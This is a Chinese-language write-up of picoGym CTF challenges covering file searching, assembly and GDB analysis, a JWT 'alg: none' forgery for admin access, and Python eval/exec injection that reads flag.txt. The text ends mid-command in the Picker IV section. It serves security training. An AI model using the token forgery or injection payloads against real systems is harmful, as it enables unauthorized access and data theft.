# picoGym Exclusive Writeup The CTF challenges writeup for picoGym Exclusive. # General Skills ## Big Zip <span style="color: green;"> [Easy] </span> ### Challenge description Unzip this archive and find the flag. * [Download zip file](https://artifacts.picoctf.net/c/505/big-zip-files.zip) ### Solution 將題目提供的檔案下載下來並解壓縮後,可以看到裡面包含了很多的文件跟資料夾: ```bash $ ls -1 big-zip-files | wc -l 759 ``` 而我們可以用 `grep` 在 `big-zip-files` 裡面直接搜尋 flag 的 prefix "picoCTF" 來得到 flag: ```bash $ grep -r picoCTF big-zip-files big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_xxxxxxxx} ``` ### Summary Flag: `picoCTF{gr3p_15_m4g1c_xxxxxxxx}` ## First Find <span style="color: green;"> [Easy] </span> ### Challenge description Unzip this archive and find the file named 'uber-secret.txt' * [Download zip file](https://artifacts.picoctf.net/c/501/files.zip) ### Solution 跟上題一樣是要在檔案裡面找到 flag 的題目,所以可以直接使用 `grep` 來解決: ```bash $ grep -r picoCTF files files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt:picoCTF{f1nd_15_f457_xxxxxxxx} ``` ### Summary Flag: `picoCTF{f1nd_15_f457_xxxxxxxx}` ## ASCII Numbers <span style="color: orange;"> [Medium] </span> ### Challenge description Convert the following string of ASCII numbers into a readable string: ``` 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d ``` ### Solution 將每個 hex 轉成對應的 ascii 並組合起來就能得到 flag 了: ```python message = "0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d" flag = "".join([chr(int(x, 16)) for x in message.split()]) print(flag) ``` ### Summary Flag: `picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_xxxxxxxx}` # Web Exploitation ## JAuth <span style="color: orange;"> [Medium] </span> ### Challenge description Most web application developers use third party components without testing their security. Some of the past affected companies are: * Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638 * Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used * VerticalScope (internet media company) - outdated version of vBulletin forum software used Can you identify the components and exploit the vulnerable one? The website is running here. Can you become an `admin`? You can login as `test` with the password `Test123!` to get started. ### Solution 打開網站後,可以看到一個登入頁面: ![image](https://hackmd.io/_uploads/SJS9hoE5C.png) 嘗試用題目提供的帳號密碼 `test` / `Test123!` 登入後,檢查 Cookie 會發現我們多出了一個 token: ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzIzMjk5MTQ1NDIxLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjcuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzIzMjk5MTQ1fQ.i-dng_QC3fOBpouIzVVoRIzgT0KGpcHCFOYWK9vKqbY ``` 我們可以從它的外觀或題目提示中得知它是 JWT token,然後將其丟到 jwt.io 來看到相關的資料: ![image](https://hackmd.io/_uploads/SkObk6E9A.png) 可以看到 role 的部分目前的值是 `user`,根據題目描述,我們需要想辦法將其改變成 `admin`。 JWT token 的 Payload 是透過 base64 encode 的,因此將其 decode 就能看到相關的資料,但我們不能直接更改值然後將其編碼回去來試圖改變 token,因為 JWT 包含一段 Signature,如果改變 Payload 的話會使 Signature 驗證失敗,同時我們傳送的 token 也會變得無效。 但是,在 Header 的部分有包含一些訊息: ```json { "typ": "JWT", "alg": "HS256" } ``` "alg" 欄位代表的是使用的簽名算法,而在某些不安全的 JWT Implement 中,"alg" 的值可以被更改為 none,使該 token 不進行簽名驗證,透過這個方法我們可以重新建置我們的 token: ```json // Header { "typ": "JWT", "alg": "none" } ``` ```json // Payload { "auth": 1723299145421, "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36", "role": "admin", "iat": 1723299145 } ``` 將資料編碼回去,並刪掉最後的 Signature,就能得到偽造過後的 token 了: ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzIzMjk5MTQ1NDIxLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjcuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyMzI5OTE0NX0. ``` 接著回去網頁將 token 更改並重整瀏覽器就能拿到 flag 了: ![image](https://hackmd.io/_uploads/ByG08lS50.png) ### Resource [JWT(JSON Web Token) — 原理介紹](https://medium.com/%E4%BC%81%E9%B5%9D%E4%B9%9F%E6%87%82%E7%A8%8B%E5%BC%8F%E8%A8%AD%E8%A8%88/jwt-json-web-token-%E5%8E%9F%E7%90%86%E4%BB%8B%E7%B4%B9-74abfafad7ba) [JSON Web Tokens - jwt.io](https://jwt.io/) [JWT encode/decode - Tribestream](https://tribestream.io/tools/jwt/) ### Summary Flag: `picoCTF{succ3ss_@u7h3nt1c@710n_xxxxxxxx}` # Reverse Engineering ## Picker I <span style="color: orange;"> [Medium] </span> ### Challenge description This service can provide you with a random number, but can it do anything else? The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/514/picker-I.py). ### Solution 從題目提供的檔案中可以看出,這個程式會執行與使用者輸入的名稱對應的函式: ```python while(True): try: print('Try entering "getRandomNumber" without the double quotes...') user_input = input('==> ') eval(user_input + '()') except Exception as e: print(e) ``` 而檔案中還包含了一個叫做 `win()` 的函式,這個 function 的功能是將 flag 以 hex 的樣式印出: ```python def win(): # This line will not work locally unless you create your own 'flag.txt' in # the same directory as this script flag = open('flag.txt', 'r').read() #flag = flag[:-1] flag = flag.strip() str_flag = '' for c in flag: str_flag += str(hex(ord(c))) + ' ' print(str_flag) ``` 因此只要連上 server 輸入 win 拿到 hex 值,然後寫一段轉換程式就能夠拿到 flag 了: ```python hex_flag = "" # put flag's hex value here flag = "".join([chr(int(x, 16)) for x in hex_flag.split()]) print(flag) ``` ### Summary Flag: `picoCTF{4_d14m0nd_1n_7h3_r0ugh_xxxxxxxx}` ## Picker II <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out how this program works to get the flag? The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/522/picker-II.py). ### Solution 這題跟上題有個一模一樣的 `win()`,但這次程式會驗證使用者的輸入是否包含 win: ```python def filter(user_input): if 'win' in user_input: return False return True while(True): try: user_input = input('==> ') if( filter(user_input) ): eval(user_input + '()') else: print('Illegal input') except Exception as e: print(e) ``` 題目只有對 win 進行阻擋,而因為我們的輸入會送到 `eval()`,所以我們可以直接略過 `win()` 去讀取 flag: ``` ==> print(open("flag.txt", "r").read()) picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_xxxxxxxx} 'NoneType' object is not callable ``` 可以看到,如果在 function 後面多接了括號,後面的括號會導致報錯 `'NoneType' object is not callable`,但不影響前面第一個的執行。 ### Summary Flag: `picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_xxxxxxxx}` ## Picker III <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out how this program works to get the flag? The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/525/picker-III.py). ### Solution 這題的程式跟前面的有比較大的差別,我們可以從主程式的地方開始看起: ```python reset_table() while(USER_ALIVE): choice = input('==> ') if( choice == 'quit' or choice == 'exit' or choice == 'q' ): USER_ALIVE = False elif( choice == 'help' or choice == '?' ): help_text() elif( choice == 'reset' ): reset_table() elif( choice == '1' ): call_func(0) elif( choice == '2' ): call_func(1) elif( choice == '3' ): call_func(2) elif( choice == '4' ): call_func(3) else: print('Did not understand "'+choice+'" Have you tried "help"?') ``` 程式會先執行 `reset_table()`,接著根據使用者輸入的數字去執行 `call_func()`,看起來能透過數字執行對應的 function,所以接著查看 `call_func()` 是怎麼運行的: ```python def call_func(n): """ Calls the nth function in the function table. Arguments: n: The function to call. The first function is 0. """ # Check table for viability if( not check_table() ): print(CORRUPT_MESSAGE) return # Check n if( n < 0 ): print('n cannot be less than 0. Aborting...') return elif( n >= FUNC_TABLE_SIZE ): print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE) return # Get function name from table func_name = get_func(n) # Run the function eval(func_name+'()') ``` `call_func()` 的描述顯示了會根據輸入的數字找到 function table 中對應的 function 執行,而查看 `reset_table()` 會發現它會在程式一開始時重置 `func_table` 的資料: ```python def reset_table(): global func_table # This table is formatted for easier viewing, but it is really one line func_table = \ '''\ print_table \ read_variable \ write_variable \ getRandomNumber \ ''' ``` 查看 `get_func()` 之後可以知道 `call_func()` 使用的 function table 就是 `func_table`,而從題目提示中可以知道我們需要嘗試更改 `func_table`,如果可以將其中一個更改為 `win()` 我們就能拿到 flag 了。 而在目前能使用的 function 中,擁有更改功能的看起來只有 `write_variable()`,所以先查看它是怎麼運作的: ```python def write_variable(): var_name = input('Please enter variable name to write: ') if( filter_var_name(var_name) ): value = input('Please enter new value of variable: ') if( filter_value(value) ): exec('global '+var_name+'; '+var_name+' = '+value) else: print('Illegal value') else: print('Illegal variable name') ``` 可以知道我們能透過這個 function 更改變數的值,而程式中有分別對 `var_name` 跟 `value` 進行驗證,所以我們不能輸入一些其他的符號,在這種情況下有兩種做法能達到我們要的效果拿到 flag: 1. 更改 function 我們可以直接更改 `getRandomNumber()` 指向的 funtion: ``` ==> 3 Please enter variable name to write: getRandomNumber Please enter new value of variable: win ==> 4 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d ``` 將 `getRandomNumber()` 指向 `win()` 之後輸入對應 `getRandomNumber` 的數字就可以拿到 flag 的 hex 值了。 2. 更改 function table 從 `call_func()` 可以得知整個運作過程是透過 `get_func()` 取得 `func_name` 再丟入 `eval` 執行,來達到執行對應 function 的功能,而 `get_func()` 又是從 `func_table` 中透過計算每個 entry 的長度來找到 `func_name` 的: ```python def get_func(n): global func_table # Check table for viability if( not check_table() ): print(CORRUPT_MESSAGE) return # Get function name from table func_name = '' func_name_offset = n * FUNC_TABLE_ENTRY_SIZE for i in range(func_name_offset, func_name_offset+FUNC_TABLE_ENTRY_SIZE): if( func_table[i] == ' '): func_name = func_table[func_name_offset:i] break if( func_name == '' ): func_name = func_table[func_name_offset:func_name_offset+FUNC_TABLE_ENTRY_SIZE] return func_name ``` 因此如果我們改變 `func_table` 的值的話,我們可以直接控制執行的 function。而 `call_func()` 中一開始會先執行 `check_table()` 對 `func_table` 進行驗證: ```python FUNC_TABLE_SIZE = 4 FUNC_TABLE_ENTRY_SIZE = 32 def check_table(): global func_table if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE): return False return True ``` 驗證的方法只會檢查 `func_table` 的長度是否正確,因此只要最後 `func_table` 的長度為 4 * 32 = 128 就可以通過驗證。 所以我們可以透過 `write_variable()` 將 `func_table` 的值更改掉,前面的內容我們可以不更改,只將 `getRandomNumber` 改成 `win` 並保證長度相同: ``` print_table read_variable write_variable win ``` 這樣 payload 就建好了,接著連上 server 丟入後執行就能拿到 flag 的 hex 值: ``` ==> 3 Please enter variable name to write: func_table Please enter new value of variable: "print_table read_variable write_variable win " ==> 1 1: print_table 2: read_variable 3: write_variable 4: win ==> 4 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d ``` 最後只要將 hex 轉回去就能拿到 flag 了。 ### Summary Flag: `picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_xxxxxxxx}` ## GDB baby step 1 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register at the end of the `main` function? Put your answer in the picoCTF flag format: `picoCTF{n}` where n is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Disassemble [this](https://artifacts.picoctf.net/c/512/debugger0_a). ### Solution 用 `gdb` 打開題目提供的檔案後,我們可以用 `disas main` 來查看主程式 `main` 是怎麼運行的: ```C++ gef➤ disas main Dump of assembler code for function main: 0x0000000000001129 <+0>: endbr64 0x000000000000112d <+4>: push rbp 0x000000000000112e <+5>: mov rbp,rsp 0x0000000000001131 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001134 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000001138 <+15>: mov eax,0x86342 0x000000000000113d <+20>: pop rbp 0x000000000000113e <+21>: ret End of assembler dump. ``` 可以看到,最後 `eax` 被賦值為 `0x86342`,因此把這個數字轉成 dec base 就是 flag 了。 ### Summary Flag: `picoCTF{549698}` ## GDB baby step 2 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register at the end of the `main` function? Put your answer in the picoCTF flag format: `picoCTF{n}` where n is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Disassemble [this](https://artifacts.picoctf.net/c/520/debugger0_b). ### Solution 跟上題一樣,先用 `disas main` 檢查程式: ```C++ gef➤ disas main Dump of assembler code for function main: 0x0000000000401106 <+0>: endbr64 0x000000000040110a <+4>: push rbp 0x000000000040110b <+5>: mov rbp,rsp 0x000000000040110e <+8>: mov DWORD PTR [rbp-0x14],edi 0x0000000000401111 <+11>: mov QWORD PTR [rbp-0x20],rsi 0x0000000000401115 <+15>: mov DWORD PTR [rbp-0x4],0x1e0da 0x000000000040111c <+22>: mov DWORD PTR [rbp-0xc],0x25f 0x0000000000401123 <+29>: mov DWORD PTR [rbp-0x8],0x0 0x000000000040112a <+36>: jmp 0x401136 <main+48> 0x000000000040112c <+38>: mov eax,DWORD PTR [rbp-0x8] 0x000000000040112f <+41>: add DWORD PTR [rbp-0x4],eax 0x0000000000401132 <+44>: add DWORD PTR [rbp-0x8],0x1 0x0000000000401136 <+48>: mov eax,DWORD PTR [rbp-0x8] 0x0000000000401139 <+51>: cmp eax,DWORD PTR [rbp-0xc] 0x000000000040113c <+54>: jl 0x40112c <main+38> 0x000000000040113e <+56>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000401141 <+59>: pop rbp 0x0000000000401142 <+60>: ret End of assembler dump. ``` 我們可以簡單的在 main+59 的位置設一個斷點,接著執行程式並查看在那個時候 `eax` 的值: ```C++ gef➤ b *main+59 Breakpoint 1 at 0x401141 gef➤ r ``` 如果有安裝其他的 plugin 應該可以從 plugin 提供的訊息中看到 `eax` 的值: ```C++ $rax : 0x4af4b ``` 或是使用 `print` 列印出變數值: ```C++ gef➤ print $eax $1 = 0x4af4b ``` ### Summary Flag: `picoCTF{307019}` ## GDB baby step 3 <span style="color: orange;"> [Medium] </span> ### Challenge description Now for something a little different. `0x2262c96b` is loaded into memory in the `main` function. Examine byte-wise the memory that the constant is loaded in by using the GDB command `x/4xb addr`. The flag is the four bytes as they are stored in memory. If you find the bytes `0x11 0x22 0x33 0x44` in the memory location, your flag would be: `picoCTF{0x11223344}`. Debug [this](https://artifacts.picoctf.net/c/531/debugger0_c). ### Solution 根據題目描述,我們要找到的是 `0x2262c96b` 在 stack 中存放的樣子。首先一樣先檢查 `main`: ```C++ gef➤ disas main Dump of assembler code for function main: 0x0000000000401106 <+0>: endbr64 0x000000000040110a <+4>: push rbp 0x000000000040110b <+5>: mov rbp,rsp 0x000000000040110e <+8>: mov DWORD PTR [rbp-0x14],edi 0x0000000000401111 <+11>: mov QWORD PTR [rbp-0x20],rsi 0x0000000000401115 <+15>: mov DWORD PTR [rbp-0x4],0x2262c96b 0x000000000040111c <+22>: mov eax,DWORD PTR [rbp-0x4] 0x000000000040111f <+25>: pop rbp 0x0000000000401120 <+26>: ret End of assembler dump. ``` 可以看到,`0x2262c96b` 被存在 `[rbp-0x4]` 的位置,並沒有做其他的操作。而如果知道 big endian 跟 little endian 的觀念的話,我們可以直接查看這個檔案是用哪種儲存方法來判斷 `0x2262c96b` 是怎麼儲存的: ```bash $ file debugger0_c debugger0_c: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a10a8fa896351748020d158a4e18bb4be15cd3aa, for GNU/Linux 3.2.0, not stripped ``` 這個檔案是 little endian 的儲存方式,因此在 stack 中的樣子即為 `0x6bc96222`。 或是我們也可以在 main+22 設定一個斷點,然後執行程式並查看 `[rbp-0x4]` 的值: ```C++ gef➤ b *main+22 Breakpoint 1 at 0x40111c gef➤ r ``` ```C++ gef➤ x/4xb $rbp-4 0x7fffffffdb9c: 0x6b 0xc9 0x62 0x22 ``` 最後把得到的資料組合成題目描述的格式就可以拿到 flag 了。 ### Summary Flag: `picoCTF{0x6bc96222}` ## GDB baby step 4 <span style="color: orange;"> [Medium] </span> ### Challenge description `main` calls a function that multiplies `eax` by a constant. The flag for this challenge is that constant in decimal base. If the constant you find is 0x1000, the flag will be `picoCTF{4096}`. Debug [this](https://artifacts.picoctf.net/c/532/debugger0_d). ### Solution 跟前面一樣,先用 `disas main` 查看程式: ```C++ gef➤ disas main Dump of assembler code for function main: 0x000000000040111c <+0>: endbr64 0x0000000000401120 <+4>: push rbp 0x0000000000401121 <+5>: mov rbp,rsp 0x0000000000401124 <+8>: sub rsp,0x20 0x0000000000401128 <+12>: mov DWORD PTR [rbp-0x14],edi 0x000000000040112b <+15>: mov QWORD PTR [rbp-0x20],rsi 0x000000000040112f <+19>: mov DWORD PTR [rbp-0x4],0x28e 0x0000000000401136 <+26>: mov DWORD PTR [rbp-0x8],0x0 0x000000000040113d <+33>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000401140 <+36>: mov edi,eax 0x0000000000401142 <+38>: call 0x401106 <func1> 0x0000000000401147 <+43>: mov DWORD PTR [rbp-0x8],eax 0x000000000040114a <+46>: mov eax,DWORD PTR [rbp-0x4] 0x000000000040114d <+49>: leave 0x000000000040114e <+50>: ret End of assembler dump. ``` 題目描述 `main` 呼叫了一個 function 來將 `eax` 乘上一個常數,而我們可以在 `main` 的組合語言程式碼中看到程式會呼叫一個 `func1` 函式,因此我們可以再繼續檢查這個 function 的內容來找到用來作乘法的常數: ```C++ gef➤ disas func1 Dump of assembler code for function func1: 0x0000000000401106 <+0>: endbr64 0x000000000040110a <+4>: push rbp 0x000000000040110b <+5>: mov rbp,rsp 0x000000000040110e <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000401111 <+11>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000401114 <+14>: imul eax,eax,0x3269 0x000000000040111a <+20>: pop rbp 0x000000000040111b <+21>: ret End of assembler dump. ``` 可以看到,在 func1+14 的位置使用 `imul` 做了乘法的運算,因此我們的常數就是 `0x3269`。 ### Summary Flag: `picoCTF{12905}` ## Bit-O-Asm-1 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Download the assembly dump [here](https://artifacts.picoctf.net/c/509/disassembler-dump0_a.txt). ### Solution 從題目提供的檔案中能夠看到 `eax` 最後被賦值為 `0x30`: ```C++ <+0>: endbr64 <+4>: push rbp <+5>: mov rbp,rsp <+8>: mov DWORD PTR [rbp-0x4],edi <+11>: mov QWORD PTR [rbp-0x10],rsi <+15>: mov eax,0x30 <+20>: pop rbp <+21>: ret ``` 所以將 `0x30` 轉成 dec base 就是 flag 了。 ### Summary Flag: `picoCTF{48}` ## Bit-O-Asm-2 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Download the assembly dump [here](https://artifacts.picoctf.net/c/510/disassembler-dump0_b.txt). ### Solution 打開題目給的檔案並查看內容: ```C++ <+0>: endbr64 <+4>: push rbp <+5>: mov rbp,rsp <+8>: mov DWORD PTR [rbp-0x14],edi <+11>: mov QWORD PTR [rbp-0x20],rsi <+15>: mov DWORD PTR [rbp-0x4],0x9fe1a <+22>: mov eax,DWORD PTR [rbp-0x4] <+25>: pop rbp <+26>: ret ``` 可以看到 `[rbp-0x4]` 的值為 `0x9fe1a`,而 `eax` 的值又為 `[rbp-0x4]` 的值,因此 `0x9fe1a` 轉成十進制就是 flag。 ### Summary Flag: `picoCTF{654874}` ## Bit-O-Asm-3 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Download the assembly dump [here](https://artifacts.picoctf.net/c/530/disassembler-dump0_c.txt). ### Solution 首先打開題目給的檔案檢查程式: ```C++ <+0>: endbr64 <+4>: push rbp <+5>: mov rbp,rsp <+8>: mov DWORD PTR [rbp-0x14],edi <+11>: mov QWORD PTR [rbp-0x20],rsi <+15>: mov DWORD PTR [rbp-0xc],0x9fe1a <+22>: mov DWORD PTR [rbp-0x8],0x4 <+29>: mov eax,DWORD PTR [rbp-0xc] <+32>: imul eax,DWORD PTR [rbp-0x8] <+36>: add eax,0x1f5 <+41>: mov DWORD PTR [rbp-0x4],eax <+44>: mov eax,DWORD PTR [rbp-0x4] <+47>: pop rbp <+48>: ret ``` 可以看到,`eax` 首先賦值為 `[rbp-0xc]` (`0x9fe1a`),接下來將它乘以 `[rbp-0x8]` (`0x4`),最後再加上 `0x1f5`。所以我們可以算出 `eax` 最後的值為 `0x27fa5d`,把這個值轉成十進制之後用題目給的樣式包起來就是 flag 了。 ### Summary Flag: `picoCTF{2619997}` ## Bit-O-Asm-4 <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`. Download the assembly dump [here](https://artifacts.picoctf.net/c/511/disassembler-dump0_d.txt). ### Solution 一樣先打開檔案查看程式: ```C++ <+0>: endbr64 <+4>: push rbp <+5>: mov rbp,rsp <+8>: mov DWORD PTR [rbp-0x14],edi <+11>: mov QWORD PTR [rbp-0x20],rsi <+15>: mov DWORD PTR [rbp-0x4],0x9fe1a <+22>: cmp DWORD PTR [rbp-0x4],0x2710 <+29>: jle 0x55555555514e <main+37> <+31>: sub DWORD PTR [rbp-0x4],0x65 <+35>: jmp 0x555555555152 <main+41> <+37>: add DWORD PTR [rbp-0x4],0x65 <+41>: mov eax,DWORD PTR [rbp-0x4] <+44>: pop rbp <+45>: ret ``` 可以從最後幾行看到,`eax` 的值等於 `[rbp-0x4]` 的值,因此如果知道 `[rbp-0x4]` 的值就能拿到 flag。 在程式的執行過程中,`[rbp-0x4]` 會先被設定為 `0x9fe1a`,接著判斷 `[rbp-0x4]` 是否小於 `0x2710`。符合條件的話就會跳到 main+37 的位置,但因為結果並不符合,所以繼續依序向下執行。最後會將 `[rbp-0x4]` 減掉 `0x65`,並跳到 main+41 的位置,將 `[rbp-0x4]` 的值賦予為 `eax` 的值。 因此可以得出 `eax = [rbp-0x4] = 0x9fe1a - 0x65 = 654773`。 ### Summary Flag: `picoCTF{654773}` ## ASCII FTW <span style="color: orange;"> [Medium] </span> ### Challenge description This program has constructed the flag using hex ascii values. Identify the flag text by disassembling the program. You can download the file from [here](https://artifacts.picoctf.net/c/507/asciiftw). ### Solution 先嘗試執行程式: ```bash $ ./asciiftw The flag starts with 70 ``` 可以看到程式告訴我們 flag 是從 70 開頭的。接下來使用 `gdb` 分析程式找尋更多訊息: ```C++ gef➤ disas main ``` ```C++ 0x0000000000001184 <+27>: mov BYTE PTR [rbp-0x30],0x70 0x0000000000001188 <+31>: mov BYTE PTR [rbp-0x2f],0x69 0x000000000000118c <+35>: mov BYTE PTR [rbp-0x2e],0x63 0x0000000000001190 <+39>: mov BYTE PTR [rbp-0x2d],0x6f 0x0000000000001194 <+43>: mov BYTE PTR [rbp-0x2c],0x43 0x0000000000001198 <+47>: mov BYTE PTR [rbp-0x2b],0x54 0x000000000000119c <+51>: mov BYTE PTR [rbp-0x2a],0x46 0x00000000000011a0 <+55>: mov BYTE PTR [rbp-0x29],0x7b 0x00000000000011a4 <+59>: mov BYTE PTR [rbp-0x28],0x41 0x00000000000011a8 <+63>: mov BYTE PTR [rbp-0x27],0x53 0x00000000000011ac <+67>: mov BYTE PTR [rbp-0x26],0x43 0x00000000000011b0 <+71>: mov BYTE PTR [rbp-0x25],0x49 0x00000000000011b4 <+75>: mov BYTE PTR [rbp-0x24],0x49 0x00000000000011b8 <+79>: mov BYTE PTR [rbp-0x23],0x5f 0x00000000000011bc <+83>: mov BYTE PTR [rbp-0x22],0x49 0x00000000000011c0 <+87>: mov BYTE PTR [rbp-0x21],0x53 0x00000000000011c4 <+91>: mov BYTE PTR [rbp-0x20],0x5f 0x00000000000011c8 <+95>: mov BYTE PTR [rbp-0x1f],0x45 0x00000000000011cc <+99>: mov BYTE PTR [rbp-0x1e],0x41 0x00000000000011d0 <+103>: mov BYTE PTR [rbp-0x1d],0x53 0x00000000000011d4 <+107>: mov BYTE PTR [rbp-0x1c],0x59 0x00000000000011d8 <+111>: mov BYTE PTR [rbp-0x1b],0x5f 0x00000000000011dc <+115>: mov BYTE PTR [rbp-0x1a],0x37 0x00000000000011e0 <+119>: mov BYTE PTR [rbp-0x19],0x42 0x00000000000011e4 <+123>: mov BYTE PTR [rbp-0x18],0x43 0x00000000000011e8 <+127>: mov BYTE PTR [rbp-0x17],0x44 0x00000000000011ec <+131>: mov BYTE PTR [rbp-0x16],0x39 0x00000000000011f0 <+135>: mov BYTE PTR [rbp-0x15],0x37 0x00000000000011f4 <+139>: mov BYTE PTR [rbp-0x14],0x31 0x00000000000011f8 <+143>: mov BYTE PTR [rbp-0x13],0x44 0x00000000000011fc <+147>: mov BYTE PTR [rbp-0x12],0x7d ``` 可以看到一長串可以的 hex 值,並且是從 `0x70` 開頭的,因此將這串 hex 轉為 ascii 應該就是我們要的 flag 了。 Python 轉換: ```python hex_flag = [0x70, 0x69, 0x63, 0x6f, 0x43, 0x54, 0x46, 0x7b, 0x41, 0x53, 0x43, 0x49, 0x49, 0x5f, 0x49, 0x53, 0x5f, 0x45, 0x41, 0x53, 0x59, 0x5f, 0x37, 0x42, 0x43, 0x44, 0x39, 0x37, 0x31, 0x44, 0x7d] flag = "".join([chr(x) for x in hex_flag]) print(flag) ``` ### Summary Flag: `picoCTF{ASCII_IS_EASY_xxxxxxxx}` # Binary Exploitation ## Picker IV <span style="color: orange;"> [Medium] </span> ### Challenge description Can you figure out how this program works to get the flag? The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/528/picker-IV.c). The binary can be downloaded [here](https://artifacts.picoctf.net/c/528/picker-IV). ### Solution 打開題目提供的檔案後,可以看到有一個 `win()` 可以幫我們拿到 flag: ```C int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } ``` 接著查看主程式的部分: ```C int main() { signal(SIGSEGV, print_segf_message); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered unsigned int val; printf("Enter the address in hex to jump to, excluding '0x': "); scanf("%x", &val); printf("You input 0x%x\n", val); void (*foo)(void) = (void (*)())val; foo(); } ``` 可以看到,主程式會接收一個地址,接著執行對應地址的 function,因此接下來我們應該嘗試找到 `win()` 的地址: ```bash $ objdump -M Intel 